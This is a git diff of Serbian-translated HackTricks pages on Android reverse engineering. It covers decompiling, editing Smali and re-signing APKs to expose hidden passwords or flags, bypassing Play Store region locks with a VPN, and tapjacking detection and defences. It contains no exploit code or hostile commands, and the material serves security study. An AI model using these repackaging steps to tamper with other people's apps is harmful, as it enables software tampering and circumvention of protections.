<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite vidjeti **oglašavanje vaše tvrtke u HackTricks-u** ili **preuzeti HackTricks u PDF formatu**, provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**službenu PEASS & HackTricks opremu**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje hakirajuće trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorije.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,89 +1,90 @@
# Smali - Dekompilacija/\[Modifikacija]/Kompilacija
# Smali - Decompiling/\[Modifying]/Compiling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ponekad je interesantno modifikovati kod aplikacije kako biste pristupili skrivenim informacijama (možda dobro obfuskirane lozinke ili zastavice). Zatim, može biti interesantno dekompilirati apk, modifikovati kod i ponovo ga kompilirati.
Ponekad je zanimljivo modifikovati kod aplikacije kako biste pristupili skrivenim informacijama za vas (možda dobro obfuskovane lozinke ili zastavice). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.
**Referenca za opcode-ove:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## Brzi način
## Fast Way
Koristeći **Visual Studio Code** i ekstenziju [APKLab](https://github.com/APKLab/APKLab), možete **automatski dekompilirati**, modifikovati, **rekompilirati**, potpisati i instalirati aplikaciju bez izvršavanja bilo koje komande.
Korišćenjem **Visual Studio Code** i [APKLab](https://github.com/APKLab/APKLab) ekstenzije, možete **automatski dekompilirati**, modifikovati, **rekompilirati**, potpisati i instalirati aplikaciju bez izvršavanja bilo koje komande.
Još jedan **skript** koji olakšava ovaj zadatak je [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
Drugi **script** koji značajno olakšava ovaj zadatak je [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Dekompilacija APK-a
## Decompile the APK
Korišćenjem APKTool-a možete pristupiti **smali kodu i resursima**:
```bash
apktool d APP.apk
```
Ako **apktool** prikaže bilo kakvu grešku, pokušajte [instalirati **najnoviju verziju**](https://ibotpeaches.github.io/Apktool/install/).
Ako **apktool** daje bilo kakvu grešku, pokušajte [da instalirate **najnoviju verziju**](https://ibotpeaches.github.io/Apktool/install/)
Neki **zanimljivi fajlovi koje biste trebali pogledati su**:
Neki **zanimljivi fajlovi koje treba da pogledate su**:
* _res/values/strings.xml_ (i svi xml fajlovi unutar res/values/\*)
* _res/values/strings.xml_ (i svi xml-ovi unutar res/values/\*)
* _AndroidManifest.xml_
* Svaki fajl sa ekstenzijom _.sqlite_ ili _.db_
* Bilo koji fajl sa ekstenzijom _.sqlite_ ili _.db_
Ako `apktool` ima **problema sa dekodiranjem aplikacije**, pogledajte [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ili pokušajte koristiti argument **`-r`** (Ne dekodiraj resurse). Tada, ako je problem u resursu, a ne u izvornom kodu, nećete imati problem (takođe nećete dekompajlirati resurse).
Ako `apktool` ima **problema sa dekodiranjem aplikacije**, pogledajte [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ili pokušajte da koristite argument **`-r`** (Ne dekodiraj resurse). Tada, ako je problem bio u resursu, a ne u izvor kodu, nećete imati problem (takođe nećete dekompilirati resurse).
## Promena smali koda
Možete **promeniti** **instrukcije**, promeniti **vrednost** nekih promenljivih ili **dodati** nove instrukcije. Ja menjam Smali kod koristeći [**VS Code**](https://code.visualstudio.com), zatim instalirate **smalise ekstenziju** i editor će vam reći ako je neka **instrukcija neispravna**.\
Neki **primeri** mogu se naći ovde:
Možete **promeniti** **instrukcije**, promeniti **vrednost** nekih varijabli ili **dodati** nove instrukcije. Menjam Smali kod koristeći [**VS Code**](https://code.visualstudio.com), zatim instalirate **smalise ekstenziju** i editor će vam reći ako je neka **instrukcija netačna**.\
Neki **primeri** se mogu naći ovde:
* [Primeri promena Smali koda](smali-changes.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
* [Primeri smali promena](smali-changes.md)
* [Google CTF 2018 - Da li da igramo igru?](google-ctf-2018-shall-we-play-a-game.md)
Ili možete [**proveriti ispod objašnjenja nekih promena Smali koda**](smali-changes.md#modifying-smali).
Ili možete [**proveriti ispod neke objašnjene smali promene**](smali-changes.md#modifying-smali).
## Rekompajliranje APK-a
## Rekompilacija APK-a
Nakon što izmenite kod, možete **rekompajlirati** kod koristeći:
Nakon modifikacije koda možete **rekonstruisati** kod koristeći:
```bash
apktool b . #In the folder generated when you decompiled the application
```
Biće **kompajliran** novi APK **unutar** fascikle _**dist**_.
To će **kompajlirati** novi APK **unutar** _**dist**_ foldera.
Ako **apktool** prikaže **grešku**, pokušajte [instalirati **najnoviju verziju**](https://ibotpeaches.github.io/Apktool/install/)
Ako **apktool** izbaci **grešku**, pokušajte[ instalirati **najnoviju verziju**](https://ibotpeaches.github.io/Apktool/install/)
### **Potpišite novi APK**
Zatim, trebate **generisati ključ** (biće vam zatražena lozinka i neke informacije koje možete popuniti nasumično):
Zatim, potrebno je da **generišete ključ** (bićete upitani za lozinku i za neke informacije koje možete popuniti nasumično):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
Na kraju, **potpišite** novi APK:
Konačno, **potpišite** novi APK:
```bash
jarsigner -keystore key.jks path/to/dist/* <your-alias>
```
### Optimizujte novu aplikaciju
### Optimize new application
**zipalign** je alat za poravnanje arhive koji pruža važnu optimizaciju Android aplikacija (APK) datotekama. [Više informacija ovde](https://developer.android.com/studio/command-line/zipalign).
**zipalign** je alat za usklađivanje arhiva koji pruža važnu optimizaciju za Android aplikacije (APK) datoteke. [More information here](https://developer.android.com/studio/command-line/zipalign).
```bash
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **Potpišite novi APK (ponovo?)**
Ako **preferirate** da koristite [**apksigner**](https://developer.android.com/studio/command-line/) umesto jarsigner-a, **trebali biste potpisati apk** nakon primene **optimizacije sa** zipalingom. ALI OBRATITE PAŽNJU DA SAMO JEDNOM TREBA DA **POTPISUJETE APLIKACIJU** SA jarsigner-om (pre zipaligna) ILI SA apksigner-om (nakon zipalinga).
Ako **preferirate** da koristite [**apksigner**](https://developer.android.com/studio/command-line/) umesto jarsigner, **trebalo bi da potpišete apk** nakon primene **optimizacije sa** zipalign. ALI OBRAZITE PAŽNJU DA TREBA DA **POTPIŠETE APLIKACIJU SAMO JEDNOM** SA jarsigner (pre zipalign) ILI SA aspsigner (posle zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
## Modifikacija Smali koda
## Modifying Smali
Za sledeći Hello World Java kod:
```java
@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
return-void
.end method
```
Smali instrukcioni set je dostupan [ovde](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
Skup instrukcija Smali je dostupan [ovde](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
### Lagane promene
### Laka promena
### Izmena početnih vrednosti promenljive unutar funkcije
### Izmenite početne vrednosti promenljive unutar funkcije
Neke promenljive su definisane na početku funkcije koristeći opcode _const_, možete izmeniti njihove vrednosti ili definisati nove:
Neke promenljive su definisane na početku funkcije koristeći opcode _const_, možete izmeniti njihove vrednosti, ili možete definisati nove:
```bash
#Number
const v9, 0xf4240
@ -115,75 +116,7 @@ const/4 v8, 0x1
#Strings
const-string v5, "wins"
```
### Osnovne operacije
#### Dodavanje instrukcija
Da biste dodali nove instrukcije u smali kod, pratite ove korake:
1. Pronađite mesto u kodu gde želite da dodate instrukciju.
2. Napišite smali kod za željenu instrukciju.
3. Ubacite novu instrukciju na odgovarajuće mesto u smali kodu.
Na primer, ako želite da dodate instrukciju za ispisivanje teksta na ekranu, možete koristiti sledeći smali kod:
```smali
const-string v0, "Hello, World!"
invoke-static {v0}, Landroid/util/Log;->i(Ljava/lang/String;)I
```
Ovaj kod će ispisati "Hello, World!" u logu.
#### Izmena instrukcija
Da biste izmenili postojeću instrukciju u smali kodu, pratite ove korake:
1. Pronađite instrukciju koju želite da izmenite.
2. Izmenite odgovarajući deo smali koda.
3. Sačuvajte izmene.
Na primer, ako želite da izmenite instrukciju koja proverava da li je broj veći od nule, možete koristiti sledeći smali kod:
```smali
const v0, 10
if-gt v0, v1, :greater_than_zero
```
Ovaj kod će proveriti da li je vrednost u registru v0 veća od nule.
#### Brisanje instrukcija
Da biste obrisali instrukciju iz smali koda, pratite ove korake:
1. Pronađite instrukciju koju želite da obrišete.
2. Uklonite odgovarajući deo smali koda.
3. Sačuvajte izmene.
Na primer, ako želite da obrišete instrukciju koja postavlja vrednost registra na 0, možete koristiti sledeći smali kod:
```smali
const v0, 0
```
Ovaj kod će postaviti vrednost registra v0 na 0.
#### Zamena instrukcija
Da biste zamenili instrukciju u smali kodu, pratite ove korake:
1. Pronađite instrukciju koju želite da zamenite.
2. Napišite smali kod za željenu instrukciju.
3. Zamenite postojeću instrukciju novom instrukcijom.
4. Sačuvajte izmene.
Na primer, ako želite da zamenite instrukciju koja proverava da li je broj jednak nuli, možete koristiti sledeći smali kod:
```smali
const v0, 0
if-eqz v0, :equal_to_zero
```
Ovaj kod će proveriti da li je vrednost u registru v0 jednaka nuli.
### Osnovne Operacije
```bash
#Math
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
@ -208,7 +141,7 @@ goto :goto_6 #Always go to: :goto_6
```
### Veće promene
### Pisanje logova
### Zapisivanje
```bash
#Log win: <number>
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
@ -219,17 +152,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
```
Preporuke:
* Ako ćete koristiti deklarisane promenljive unutar funkcije (deklarisane v0,v1,v2...), stavite ove linije između _.local \<broj>_ i deklaracija promenljivih (_const v0, 0x1_)
* Ako želite da ubacite kod za beleženje u sredinu koda funkcije:
* Dodajte 2 broju deklarisanih promenljivih: Na primer, od _.locals 10_ do _.locals 12_
* Nove promenljive treba da budu sledeći brojevi već deklarisanih promenljivih (u ovom primeru bi trebalo da budu _v10_ i _v11_, zapamtite da počinje od v0).
* Promenite kod funkcije za beleženje i koristite _v10_ i _v11_ umesto _v5_ i _v1_.
* Ako planirate da koristite deklarisane promenljive unutar funkcije (deklarisane v0,v1,v2...) stavite ove linije između _.local \<broj>_ i deklaracija promenljivih (_const v0, 0x1_)
* Ako želite da stavite kod za logovanje u sredinu koda funkcije:
* Dodajte 2 broju deklarisanih promenljivih: npr: od _.locals 10_ do _.locals 12_
* Nove promenljive treba da budu sledeći brojevi već deklarisanih promenljivih (u ovom primeru treba da budu _v10_ i _v11_, zapamtite da počinje od v0).
* Promenite kod funkcije za logovanje i koristite _v10_ i _v11_ umesto _v5_ i _v1_.
### Toastovanje
### Toasting
Ne zaboravite da dodate 3 broju _.locals_ na početku funkcije.
Zapamtite da dodate 3 broju _.locals_ na početku funkcije.
Ovaj kod je pripremljen da se ubaci u **sredinu funkcije** (**promenite** broj **promenljivih** po potrebi). Uzeće **vrednost this.o**, **pretvoriti** je u **String** i zatim **napraviti** toast sa njenom vrednošću.
Ovaj kod je pripremljen da bude umetnut u **sredinu funkcije** (**promenite** broj **promenljivih** po potrebi). Uzeće **vrednost ovog.o**, **transformisaće** je u **String** i zatim **napraviti** **toast** sa njenom vrednošću.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -241,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,57 +1,59 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
U situacijama kada je aplikacija ograničena na određene zemlje, a vi ne možete da je instalirate na svom Android uređaju zbog regionalnih ograničenja, lažiranje vaše lokacije u zemlji gde je aplikacija dostupna može vam omogućiti pristup. Sledeći koraci detaljno opisuju kako to uraditi:
U situacijama kada je aplikacija ograničena na određene zemlje, a ne možete je instalirati na svoj Android uređaj zbog regionalnih ograničenja, lažiranje vaše lokacije na zemlju gde je aplikacija dostupna može vam omogućiti pristup. Sledeći koraci detaljno objašnjavaju kako to učiniti:
1. **Instalirajte Hotspot Shield Free VPN Proxy:**
- Počnite preuzimanjem i instaliranjem Hotspot Shield Free VPN Proxy sa Google Play prodavnice.
- Počnite preuzimanjem i instaliranjem Hotspot Shield Free VPN Proxy iz Google Play prodavnice.
2. **Povežite se sa VPN serverom:**
2. **Povežite se na VPN server:**
- Otvorite Hotspot Shield aplikaciju.
- Povežite se sa VPN serverom tako što ćete odabrati zemlju gde je aplikacija koju želite da pristupite dostupna.
- Povežite se na VPN server odabirom zemlje u kojoj je aplikacija koju želite da pristupite dostupna.
3. **Obrišite podatke Google Play prodavnice:**
- Idite na **Podešavanja** vašeg uređaja.
- Nastavite do **Aplikacije** ili **Upravljanje aplikacijama** (ovo može varirati u zavisnosti od uređaja).
- Pronađite i odaberite **Google Play prodavnicu** iz liste aplikacija.
- Dodirnite **Prisilno zaustavi** da biste prekinuli sve pokrenute procese aplikacije.
- Zatim dodirnite **Obriši podatke** ili **Obriši skladište** (tačan naziv može varirati) da biste vratili Google Play prodavnicu na podrazumevano stanje.
- Pređite na **Aplikacije** ili **Menadžer aplikacija** (ovo se može razlikovati u zavisnosti od vašeg uređaja).
- Pronađite i odaberite **Google Play prodavnicu** sa liste aplikacija.
- Dodirnite **Prisilno zaustavi** da prekinete sve aktivne procese aplikacije.
- Zatim dodirnite **Obriši podatke** ili **Obriši skladište** (tačna formulacija može varirati) da resetujete aplikaciju Google Play prodavnice na njeno podrazumevano stanje.
4. **Pristupite ograničenoj aplikaciji:**
- Otvorite **Google Play prodavnicu**.
- Prodavnica sada treba da prikazuje sadržaj zemlje sa kojom ste se povezali putem VPN-a.
- Trebali biste moći da pretražujete i instalirate aplikaciju koja prethodno nije bila dostupna na vašoj stvarnoj lokaciji.
- Prodavnica bi sada trebala da odražava sadržaj zemlje na koju ste se povezali putem VPN-a.
- Trebalo bi da možete da pretražujete i instalirate aplikaciju koja prethodno nije bila dostupna na vašoj stvarnoj lokaciji.
### Važne napomene:
- Efikasnost ovog metoda može varirati u zavisnosti od nekoliko faktora, uključujući pouzdanost VPN usluge i specifična regionalna ograničenja koja je nametnula aplikacija.
- Efikasnost ove metode može varirati u zavisnosti od nekoliko faktora, uključujući pouzdanost VPN usluge i specifična regionalna ograničenja koja nameće aplikacija.
- Redovno korišćenje VPN-a može uticati na performanse nekih aplikacija i usluga.
- Budite svesni uslova korišćenja svake aplikacije ili usluge koju koristite, jer korišćenje VPN-a za zaobilaženje regionalnih ograničenja može kršiti te uslove.
- Budite svesni uslova korišćenja za bilo koju aplikaciju ili uslugu koju koristite, jer korišćenje VPN-a za zaobilaženje regionalnih ograničenja može kršiti te uslove.
## Reference
## References
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Tapjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Osnovne informacije**
## **Basic Information**
**Tapjacking** je napad gde se **zlonamerna aplikacija pokreće i pozicionira iznad aplikacije žrtve**. Kada vidljivo prekrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje sa njom, dok zapravo ta interakcija ide ka aplikaciji žrtve.\
Na taj način, **korisnik nije svestan da zapravo obavlja akcije na aplikaciji žrtve**.
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo zakloni aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje sa njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
U suštini, to **oslepljuje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
### Detekcija
### Detection
Da biste otkrili aplikacije koje su ranjive na ovaj napad, trebalo bi da tražite **izložene aktivnosti** u android manifestu (imajte na umu da je aktivnost sa intent-filterom automatski izložena po podrazumevanim postavkama). Kada pronađete izložene aktivnosti, **proverite da li zahtevaju neku dozvolu**. To je zato što će **zlonamerna aplikacija takođe trebati tu dozvolu**.
Da biste otkrili aplikacije ranjive na ovaj napad, trebali biste tražiti **izvezene aktivnosti** u android manifestu (napomena: aktivnost sa intent-filter-om se automatski izveze po defaultu). Kada pronađete izvezene aktivnosti, **proverite da li zahtevaju neku dozvolu**. To je zato što će **maliciozna aplikacija takođe trebati tu dozvolu**.
### Zaštita
### Protection
#### Android 12 (API 31,32) i noviji
#### Android 12 (API 31,32) i više
[**Prema ovom izvoru**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** napadi tapjacking-a automatski su sprečeni od strane Androida od Androida 12 (API 31 & 30) i novijih verzija. Dakle, čak i ako je aplikacija ranjiva, **nećete moći da je iskoristite**.
[**Prema ovom izvoru**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** napadi tapjacking-a se automatski sprečavaju od strane Android-a od Android 12 (API 31 & 30) i više. Dakle, čak i ako je aplikacija ranjiva, **nećete moći da je iskoristite**.
#### `filterTouchesWhenObscured`
Ako je **`android:filterTouchesWhenObscured`** postavljen na **`true`**, `View` neće primati dodire kada je prozor prikaza zasenjen drugim vidljivim prozorom.
Ako je **`android:filterTouchesWhenObscured`** postavljeno na **`true`**, `View` neće primati dodire kada je prozor prikaza zaklonjen drugim vidljivim prozorom.
#### **`setFilterTouchesWhenObscured`**
Atribut **`setFilterTouchesWhenObscured`** postavljen na true takođe može sprečiti iskorišćavanje ove ranjivosti ako je verzija Androida niža.\
Ako je postavljen na **`true`**, na primer, dugme može automatski biti **onemogućeno ako je zasenjeno**:
